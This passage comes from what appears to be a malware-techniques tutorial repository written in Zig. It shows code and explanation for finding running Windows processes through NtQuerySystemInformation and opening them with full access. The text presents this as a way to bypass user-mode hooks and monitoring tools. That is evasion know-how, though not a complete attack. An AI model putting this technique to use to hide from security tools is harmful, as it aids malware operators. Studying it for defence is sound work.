allocator = gpa.allocator(); // Define target process name as UTF-16 array const target_name = W("svchost.exe"); if (getRemoteProcessHandle(allocator, target_name)) |maybe_process_info| { if (maybe_process_info) |process_info| { var utf8_name: [MAX_PATH * 2]u8 = undefined; if (std.unicode.utf16LeToUtf8(&utf8_name, target_name)) |utf8_len| { std.debug.print("[+] FOUND \"{s}\" - Of Pid: {}\n", .{ utf8_name[0..utf8_len], process_info.pid }); } else |_| { std.debug.print("[+] FOUND [encoding error] - Of Pid: {}\n", .{process_info.pid}); } // Don't forget to close the handle _ = CloseHandle(process_info.handle); } else { std.debug.print("[!] Target process not found\n", .{}); return; } } else |err| { std.debug.print("[!] Error occurred: {}\n", .{err}); return; } // NOTE: Uncomment this to print all processes // try printProcesses(); std.debug.print("[#] Press <Enter> To Quit ... ", .{}); const stdin = std.io.getStdIn().reader(); _ = try stdin.readByte(); } ``` ## /src/Malware-Techniques/Process-Enumeration/enum_processes/src/root.zig ```zig path="/src/Malware-Techniques/Process-Enumeration/enum_processes/src/root.zig" //! By convention, root.zig is the root source file when making a library. If //! you are making an executable, the convention is to delete this file and //! start with main.zig instead. const std = @import("std"); const testing = std.testing; pub export fn add(a: i32, b: i32) i32 { return a + b; } test "basic add functionality" { try testing.expect(add(3, 7) == 10); } ``` ## /src/Malware-Techniques/Process-Enumeration/nt_query_system_information.md # Using NtQuerySystemInformation ## TL;DR [See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Process-Enumeration/nt_query_system_information) `NtQuerySystemInformation` is a native function exported by `ntdll.dll` that can return extensive system data, including the list of running processes. Because it operates at a lower level than `EnumProcesses`, it is sometimes used by attackers to avoid user‑mode hooks placed on higher level APIs. The example code invokes this function with the `SystemProcessInformation` class and manually parses the returned structures to enumerate processes. This method grants access to detailed information and can bypass certain monitoring tools that expect the PSAPI techniques. ## Code Walkthrough ```zig title="main.zig" const std = @import("std"); const windows = std.os.windows; const print = std.debug.print; const windows_structs = @import("./windows_structs.zig"); // Windows API types const DWORD = windows.DWORD; const HANDLE = windows.HANDLE; const BOOL = windows.BOOL; const ULONG = windows.ULONG; const NTSTATUS = windows.NTSTATUS; const PVOID = ?*anyopaque; const USHORT = windows.USHORT; const PWSTR = windows.PWSTR; const SIZE_T = windows.SIZE_T; const LPCWSTR = windows.LPCWSTR; const HMODULE = windows.HMODULE; const WINAPI = windows.WINAPI; // Configuration const TARGET_PROCESS = "notepad.exe"; // Convert UTF-8 to UTF-16 at compile time const W = std.unicode.utf8ToUtf16LeStringLiteral; const UNICODE_STRING = windows_structs.UNICODE_STRING; const SYSTEM_INFORMATION_CLASS = windows_structs.SYSTEM_INFORMATION_CLASS; const SYSTEM_PROCESS_INFORMATION = windows_structs.SYSTEM_PROCESS_INFORMATION; // Function pointer type for NtQuerySystemInformation const NtQuerySystemInformationFn = *const fn ( SystemInformationClass: SYSTEM_INFORMATION_CLASS, SystemInformation: PVOID, SystemInformationLength: ULONG, ReturnLength: ?*ULONG, ) callconv(WINAPI) NTSTATUS; // ProcessResult structure (equivalent to Rust's Option<(u32, HANDLE)>) const ProcessResult = struct { pid: DWORD, handle: HANDLE, pub fn deinit(self: ProcessResult) void { _ = CloseHandle(self.handle); } }; // External function declarations extern "kernel32" fn GetProcAddress(hModule: HMODULE, lpProcName: [*:0]const u8) callconv(WINAPI) PVOID; extern "kernel32" fn GetModuleHandleW(lpModuleName: LPCWSTR) callconv(WINAPI) ?HMODULE; extern "kernel32" fn OpenProcess(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) callconv(WINAPI) ?HANDLE; extern "kernel32" fn CloseHandle(hObject: HANDLE) callconv(WINAPI) BOOL; extern "kernel32" fn GetLastError() callconv(WINAPI) DWORD; extern "kernel32" fn HeapAlloc(hHeap: HANDLE, dwFlags: DWORD, dwBytes: SIZE_T) callconv(WINAPI) PVOID; extern "kernel32" fn HeapFree(hHeap: HANDLE, dwFlags: DWORD, lpMem: PVOID) callconv(WINAPI) BOOL; extern "kernel32" fn GetProcessHeap() callconv(WINAPI) HANDLE; // Constants const PROCESS_ALL_ACCESS = 0x001F0FFF; const HEAP_ZERO_MEMORY = 0x00000008; const STATUS_SUCCESS: NTSTATUS = windows.NTSTATUS.SUCCESS; // Helper function to convert UNICODE_STRING to Zig slice fn unicodeStringToSlice(unicode_str: UNICODE_STRING) []u16 { if (unicode_str.Buffer == null or unicode_str.Length == 0) { return &[_]u16{}; } return @as([*]u16, @ptrCast(unicode_str.Buffer))[0 .. unicode_str.Length / 2]; } // Helper function to convert string to lowercase fn toLowercase(allocator: std.mem.Allocator, input: []const u8) ![]u8 { var result = try allocator.alloc(u8, input.len); for (input, 0..) |char, i| { result[i] = std.ascii.toLower(char); } return result; } // Function to get remote process handle using dynamic loading (equivalent to Rust function) fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) ?ProcessResult { // Load NtQuerySystemInformation dynamically const ntdll = GetModuleHandleW(W("ntdll.dll")) orelse { print("[!] GetModuleHandleW failed!\n", .{}); return null; }; const nt_query_proc = GetProcAddress(ntdll, "NtQuerySystemInformation") orelse { print("[!] GetProcAddress failed!\n", .{}); return null; }; // Cast to function pointer (equivalent to Rust's transmute) const nt_query_sys_info = @as(NtQuerySystemInformationFn, @ptrCast(nt_query_proc)); var return_length: ULONG = 0; // First call to get buffer size _ = nt_query_sys_info(.SystemProcessInformation, null, 0, &return_length); if (return_length == 0) { print("[!] Failed to get buffer size.\n", .{}); return null; } // Allocate buffer (equivalent to Rust's HeapAlloc) const heap = GetProcessHeap(); const proc_info_ptr = HeapAlloc(heap, HEAP_ZERO_MEMORY, return_length) orelse { print("[!] HeapAlloc failed!\n", .{}); return null; }; defer _ = HeapFree(heap, 0, proc_info_ptr); // Second call to get actual data const status = nt_query_sys_info( .SystemProcessInformation, proc_info_ptr, return_length, &return_length, ); if (status != STATUS_SUCCESS) { print("[!] NtQuerySystemInformation failed!\n", .{}); return null; } // Convert target process name to lowercase for comparison const target_lower = toLowercase(allocator, process_name) catch { print("[!] Memory allocation failed for target name.\n", .{}); return null; }; defer allocator.free(target_lower); // Iterate through processes (equivalent to Rust's loop) var proc_info = @as(*SYSTEM_PROCESS_INFORMATION, @ptrCast(@alignCast(proc_info_ptr))); while (true) { // Get process name from UNICODE_STRING const image_name_ptr = proc_info.ImageName.Buffer; const process_id = @as(DWORD, @intCast(@intFromPtr(proc_info.UniqueProcessId))); if (image_name_ptr != null and proc_info.ImageName.Length > 0) { // Convert Unicode string to UTF-8 (equivalent to Rust's OsString::from_wide) const wide_chars = unicodeStringToSlice(proc_info.ImageName); // Convert UTF-16 to UTF-8 var utf8_buffer: [260]u8 = undefined; if (std.unicode.utf16LeToUtf8(&utf8_buffer, wide_chars)) |utf8_len| { const process_name_str = utf8_buffer[0..utf8_len]; // Convert to lowercase for comparison (equivalent to Rust's to_lowercase()) const process_lower = toLowercase(allocator, process_name_str) catch continue; defer allocator.free(process_lower); // Compare process names (case-insensitive, equivalent to Rust comparison) if (std.mem.eql(u8, process_lower, target_lower)) { const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id) orelse { print("[!] OpenProcess failed for PID: {}\n", .{process_id}); continue; }; return ProcessResult{ .pid = process_id, .handle = handle, }; } } else |_| { // Skip processes with encoding errors continue; } } // Move to next process (equivalent to Rust's pointer arithmetic) if (proc_info.NextEntryOffset == 0) { break; } proc_info = @as(*SYSTEM_PROCESS_INFORMATION, @ptrCast(@alignCast(@as([*]u8, @ptrCast(proc_info)) + proc_info.NextEntryOffset))); } return null; } // Wait for user input (equivalent to Rust's stdin().read_line()) fn waitForInput() !void { print("[#] Press Enter to exit...\n", .{}); const stdin = std.io.getStdIn().reader(); _ = try stdin.readByte(); } // Main function (equivalent to Rust's main) pub fn main() !void { var gpa = std.heap.GeneralPurposeAllocator(.{}){}; defer _ = gpa.deinit(); const allocator = gpa.allocator(); // Get remote process handle (equivalent to Rust's match statement) if (getRemoteProcessHandle(allocator, TARGET_PROCESS)) |result| { defer result.deinit(); print("[+] Found process {s} with PID: {}\n", .{ TARGET_PROCESS, result.pid }); } else { print("[!] Could not find process {s}\n", .{TARGET_PROCESS}); } try waitForInput(); } ``` ```zig title="windows_structs.zig" const std = @import("std"); const windows = std.os.windows; // Re-export Windows types pub const USHORT = windows.USHORT; pub const ULONG = windows.ULONG; pub const ULONGLONG = windows.ULONGLONG; pub const HANDLE = windows.HANDLE; pub const SIZE_T = windows.SIZE_T; pub const ULONG_PTR = windows.ULONG_PTR; pub const LARGE_INTEGER = windows.LARGE_INTEGER; pub const LONG = windows.LONG; pub const UNICODE_STRING = extern struct { Length: USHORT, MaximumLength: USHORT, Buffer: ?[*:0]u16, // PWSTR in Zig (made optional for null checking) }; // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntexapi.h#L1324 pub const SYSTEM_INFORMATION_CLASS = enum(c_int) { SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION SystemPathInformation, // not implemented SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION (EX in: USHORT ProcessorGroup) SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION SystemCallTimeInformation, // not implemented // SYSTEM_CALL_TIME_INFORMATION // 10 SystemModuleInformation, // q: RTL_PROCESS_MODULES SystemLocksInformation, // q: RTL_PROCESS_LOCKS SystemStackTraceInformation, // q: RTL_PROCESS_BACKTRACES SystemPagedPoolInformation, // not implemented SystemNonPagedPoolInformation, // not implemented SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION SystemVdmInstemulInformation, // q: SYSTEM_VDM_INSTEMUL_INFO SystemVdmBopInformation, // not implemented // 20 SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache) SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION (EX in: USHORT ProcessorGroup) SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege) SystemFullMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION SystemLoadGdiDriverInformation, // s (kernel-mode only) SystemUnloadGdiDriverInformation, // s (kernel-mode only) SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege) SystemSummaryMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION SystemMirrorMemoryInformation, // s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) // 30 SystemPerformanceTraceInformation, // q; s: (type depends on EVENT_TRACE_INFORMATION_CLASS) SystemObsolete0, // not implemented SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION SystemCrashDumpStateInformation, // s: SYSTEM_CRASH_DUMP_STATE_INFORMATION (requires SeDebugPrivilege) SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege) SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only SystemPrioritySeperation, // s (requires SeTcbPrivilege) SystemVerifierAddDriverInformation, // s (requires SeDebugPrivilege) // 40 SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege) SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION (EX in: USHORT ProcessorGroup) SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION SystemCurrentTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION SystemTimeSlipNotification, // s: HANDLE (NtCreateEvent) (requires SeSystemtimePrivilege) SystemSessionCreate, // not implemented SystemSessionDetach, // not implemented SystemSessionInformation, // not implemented (SYSTEM_SESSION_INFORMATION) SystemRangeStartInformation, // q: SYSTEM_RANGE_START_INFORMATION // 50 SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege) SystemVerifierThunkExtend, // s (kernel-mode only) SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION SystemLoadGdiDriverInSystemSpace, // s: SYSTEM_GDI_DRIVER_INFORMATION (kernel-mode only) (same as SystemLoadGdiDriverInformation) SystemNumaProcessorMap, // q: SYSTEM_NUMA_INFORMATION SystemPrefetcherInformation, // q; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION SystemRecommendedSharedDataAlignment, // q: ULONG // KeGetRecommendedSharedDataAlignment SystemComPlusPackage, // q; s: ULONG SystemNumaAvailableMemory, // q: SYSTEM_NUMA_INFORMATION // 60 SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION (EX in: USHORT ProcessorGroup) SystemEmulationBasicInformation, // q: SYSTEM_BASIC_INFORMATION SystemEmulationProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX SystemLostDelayedWriteInformation, // q: ULONG SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION SystemHotpatchInformation, // q; s: SYSTEM_HOTPATCH_CODE_INFORMATION SystemObjectSecurityMode, // q: ULONG // 70 SystemWatchdogTimerHandler, // s: SYSTEM_WATCHDOG_HANDLER_INFORMATION // (kernel-mode only) SystemWatchdogTimerInformation, // q: SYSTEM_WATCHDOG_TIMER_INFORMATION // (kernel-mode only) SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION (EX in: USHORT ProcessorGroup) SystemWow64SharedInformationObsolete, // not implemented SystemRegisterFirmwareTableInformationHandler, // s: SYSTEM_FIRMWARE_TABLE_HANDLER // (kernel-mode only) SystemFirmwareTableInformation, // SYSTEM_FIRMWARE_TABLE_INFORMATION SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX SystemVerifierTriageInformation, // not implemented SystemSuperfetchInformation, // q; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation SystemMemoryListInformation, // q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) // 80 SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation) SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege) SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup) SystemVerifierCancellationInformation, // SYSTEM_VERIFIER_CANCELLATION_INFORMATION // name:wow64:whNT32QuerySystemVerifierCancellationInformation SystemProcessorPowerInformationEx, // not implemented SystemRefTraceInformation, // q; s: SYSTEM_REF_TRACE_INFORMATION // ObQueryRefTraceInformation SystemSpecialPoolInformation, // q; s: SYSTEM_SPECIAL_POOL_INFORMATION (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0 SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION SystemErrorPortInformation, // s (requires SeTcbPrivilege) SystemBootEnvironmentInformation, // q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION // 90 SystemHypervisorInformation, // q: SYSTEM_HYPERVISOR_QUERY_INFORMATION SystemVerifierInformationEx, // q; s: SYSTEM_VERIFIER_INFORMATION_EX SystemTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege) SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege) SystemCoverageInformation, // q: COVERAGE_MODULES s: COVERAGE_MODULE_REQUEST // ExpCovQueryInformation (requires SeDebugPrivilege) SystemPrefetchPatchInformation, // SYSTEM_PREFETCH_PATCH_INFORMATION SystemVerifierFaultsInformation, // s: SYSTEM_VERIFIER_FAULTS_INFORMATION (requires SeDebugPrivilege) SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION SystemProcessorPerformanceDistribution, // q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION (EX in: USHORT ProcessorGroup) // 100 SystemNumaProximityNodeInformation, // q; s: SYSTEM_NUMA_PROXIMITY_MAP SystemDynamicTimeZoneInformation, // q; s: RTL_DYNAMIC_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege) SystemCodeIntegrityInformation, // q: SYSTEM_CODEINTEGRITY_INFORMATION // SeCodeIntegrityQueryInformation SystemProcessorMicrocodeUpdateInformation, // s: SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION SystemProcessorBrandString, // q: CHAR[] // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23 SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX (EX in: LOGICAL_PROCESSOR_RELATIONSHIP RelationshipType) // since WIN7 // KeQueryLogicalProcessorRelationship SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup) SystemStoreInformation, // q; s: SYSTEM_STORE_INFORMATION (requires SeProfileSingleProcessPrivilege) // SmQueryStoreInformation SystemRegistryAppendString, // s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // 110 SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege) SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION SystemCpuQuotaInformation, // q; s: PS_CPU_QUOTA_QUERY_INFORMATION SystemNativeBasicInformation, // q: SYSTEM_BASIC_INFORMATION SystemErrorPortTimeouts, // SYSTEM_ERROR_PORT_TIMEOUTS SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool) SystemSystemPtesInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) // 120 SystemNodeDistanceInformation, // q: USHORT[4*NumaNodes] // (EX in: USHORT NodeNumber) SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26 SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1 SystemSessionBigPoolInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION // since WIN8 SystemBootGraphicsInformation, // q; s: SYSTEM_BOOT_GRAPHICS_INFORMATION (kernel-mode only) SystemScrubPhysicalMemoryInformation, // q; s: MEMORY_SCRUB_INFORMATION SystemBadPageInformation, SystemProcessorProfileControlArea, // q; s: SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA SystemCombinePhysicalMemoryInformation, // s: MEMORY_COMBINE_INFORMATION, MEMORY_COMBINE_INFORMATION_EX, MEMORY_COMBINE_INFORMATION_EX2 // 130 SystemEntropyInterruptTimingInformation, // q; s: SYSTEM_ENTROPY_TIMING_INFORMATION SystemConsoleInformation, // q; s: SYSTEM_CONSOLE_INFORMATION SystemPlatformBinaryInformation, // q: SYSTEM_PLATFORM_BINARY_INFORMATION (requires SeTcbPrivilege) SystemPolicyInformation, // q: SYSTEM_POLICY_INFORMATION (Warbird/Encrypt/Decrypt/Execute) SystemHypervisorProcessorCountInformation, // q: SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION SystemDeviceDataInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION SystemDeviceDataEnumerationInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION SystemMemoryTopologyInformation, // q: SYSTEM_MEMORY_TOPOLOGY_INFORMATION SystemMemoryChannelInformation, // q: SYSTEM_MEMORY_CHANNEL_INFORMATION SystemBootLogoInformation, // q: SYSTEM_BOOT_LOGO_INFORMATION // 140 SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // (EX in: USHORT ProcessorGroup) // since WINBLUE SystemCriticalProcessErrorLogInformation, SystemSecureBootPolicyInformation, // q: SYSTEM_SECUREBOOT_POLICY_INFORMATION SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX SystemSecureBootInformation, // q: SYSTEM_SECUREBOOT_INFORMATION SystemEntropyInterruptTimingRawInformation, SystemPortableWorkspaceEfiLauncherInformation, // q: SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin) SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX SystemBootMetadataInformation, // 150 SystemSoftRebootInformation, // q: ULONG SystemElamCertificateInformation, // s: SYSTEM_ELAM_CERTIFICATE_INFORMATION SystemOfflineDumpConfigInformation, // q: OFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V2 SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION SystemRegistryReconciliationInformation, // s: NULL (requires admin) (flushes registry hives) SystemEdidInformation, // q: SYSTEM_EDID_INFORMATION SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION (EX in: USHORT ProcessorGroup) // 160 SystemVmGenerationCountInformation, SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION SystemKernelDebuggerFlags, // SYSTEM_KERNEL_DEBUGGER_FLAGS SystemCodeIntegrityPolicyInformation, // q; s: SYSTEM_CODEINTEGRITYPOLICY_INFORMATION SystemIsolatedUserModeInformation, // q: SYSTEM_ISOLATED_USER_MODE_INFORMATION SystemHardwareSecurityTestInterfaceResultsInformation, SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION SystemAllowedCpuSetsInformation, SystemVsmProtectionInformation, // q: SYSTEM_VSM_PROTECTION_INFORMATION (previously SystemDmaProtectionInformation) SystemInterruptCpuSetsInformation, // q: SYSTEM_INTERRUPT_CPU_SET_INFORMATION // 170 SystemSecureBootPolicyFullInformation, // q: SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION SystemCodeIntegrityPolicyFullInformation, SystemAffinitizedInterruptProcessorInformation, // (requires SeIncreaseBasePriorityPrivilege) SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION SystemCpuSetInformation, // q: SYSTEM_CPU_SET_INFORMATION // since THRESHOLD2 SystemCpuSetTagInformation, // q: SYSTEM_CPU_SET_TAG_INFORMATION SystemWin32WerStartCallout, SystemSecureKernelProfileInformation, // q: SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION SystemCodeIntegrityPlatformManifestInformation, // q: SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION // since REDSTONE SystemInterruptSteeringInformation, // SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT // 180 SystemSupportedProcessorArchitectures, // p: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx SystemMemoryUsageInformation, // q: SYSTEM_MEMORY_USAGE_INFORMATION SystemCodeIntegrityCertificateInformation, // q: SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION SystemPhysicalMemoryInformation, // q: SYSTEM_PHYSICAL_MEMORY_INFORMATION // since REDSTONE2 SystemControlFlowTransition, // (Warbird/Encrypt/Decrypt/Execute) SystemKernelDebuggingAllowed, // s: ULONG SystemActivityModerationExeState, // SYSTEM_ACTIVITY_MODERATION_EXE_STATE SystemActivityModerationUserSettings, // SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS SystemCodeIntegrityPoliciesFullInformation, SystemCodeIntegrityUnlockInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION // 190 SystemIntegrityQuotaInformation, SystemFlushInformation, // q: SYSTEM_FLUSH_INFORMATION SystemProcessorIdleMaskInformation, // q: ULONG_PTR[ActiveGroupCount] // since REDSTONE3 SystemSecureDumpEncryptionInformation, SystemWriteConstraintInformation, // SYSTEM_WRITE_CONSTRAINT_INFORMATION SystemKernelVaShadowInformation, // SYSTEM_KERNEL_VA_SHADOW_INFORMATION SystemHypervisorSharedPageInformation, // SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION // since REDSTONE4 SystemFirmwareBootPerformanceInformation, SystemCodeIntegrityVerificationInformation, // SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION SystemFirmwarePartitionInformation, // SYSTEM_FIRMWARE_PARTITION_INFORMATION // 200 SystemSpeculationControlInformation, // SYSTEM_SPECULATION_CONTROL_INFORMATION // (CVE-2017-5715) REDSTONE3 and above. SystemDmaGuardPolicyInformation, // SYSTEM_DMA_GUARD_POLICY_INFORMATION SystemEnclaveLaunchControlInformation, // SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION SystemWorkloadAllowedCpuSetsInformation, // SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION // since REDSTONE5 SystemCodeIntegrityUnlockModeInformation, SystemLeapSecondInformation, // SYSTEM_LEAP_SECOND_INFORMATION SystemFlags2Information, // q: SYSTEM_FLAGS_INFORMATION SystemSecurityModelInformation, // SYSTEM_SECURITY_MODEL_INFORMATION // since 19H1 SystemCodeIntegritySyntheticCacheInformation, SystemFeatureConfigurationInformation, // SYSTEM_FEATURE_CONFIGURATION_INFORMATION // since 20H1 // 210 SystemFeatureConfigurationSectionInformation, // SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION SystemFeatureUsageSubscriptionInformation, // SYSTEM_FEATURE_USAGE_SUBSCRIPTION_DETAILS SystemSecureSpeculationControlInformation, // SECURE_SPECULATION_CONTROL_INFORMATION SystemSpacesBootInformation, // since 20H2 SystemFwRamdiskInformation, // SYSTEM_FIRMWARE_RAMDISK_INFORMATION SystemWheaIpmiHardwareInformation, SystemDifSetRuleClassInformation, SystemDifClearRuleClassInformation, SystemDifApplyPluginVerificationOnDriver, SystemDifRemovePluginVerificationOnDriver, // 220 SystemShadowStackInformation, // SYSTEM_SHADOW_STACK_INFORMATION SystemBuildVersionInformation, // SYSTEM_BUILD_VERSION_INFORMATION SystemPoolLimitInformation, // SYSTEM_POOL_LIMIT_INFORMATION (requires SeIncreaseQuotaPrivilege) SystemCodeIntegrityAddDynamicStore, SystemCodeIntegrityClearDynamicStores, SystemDifPoolTrackingInformation, SystemPoolZeroingInformation, // SYSTEM_POOL_ZEROING_INFORMATION SystemDpcWatchdogInformation, SystemDpcWatchdogInformation2, SystemSupportedProcessorArchitectures2, // q: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx // 230 SystemSingleProcessorRelationshipInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // (EX in: PROCESSOR_NUMBER Processor) SystemXfgCheckFailureInformation, SystemIommuStateInformation, // SYSTEM_IOMMU_STATE_INFORMATION // since 22H1 SystemHypervisorMinrootInformation, // SYSTEM_HYPERVISOR_MINROOT_INFORMATION SystemHypervisorBootPagesInformation, // 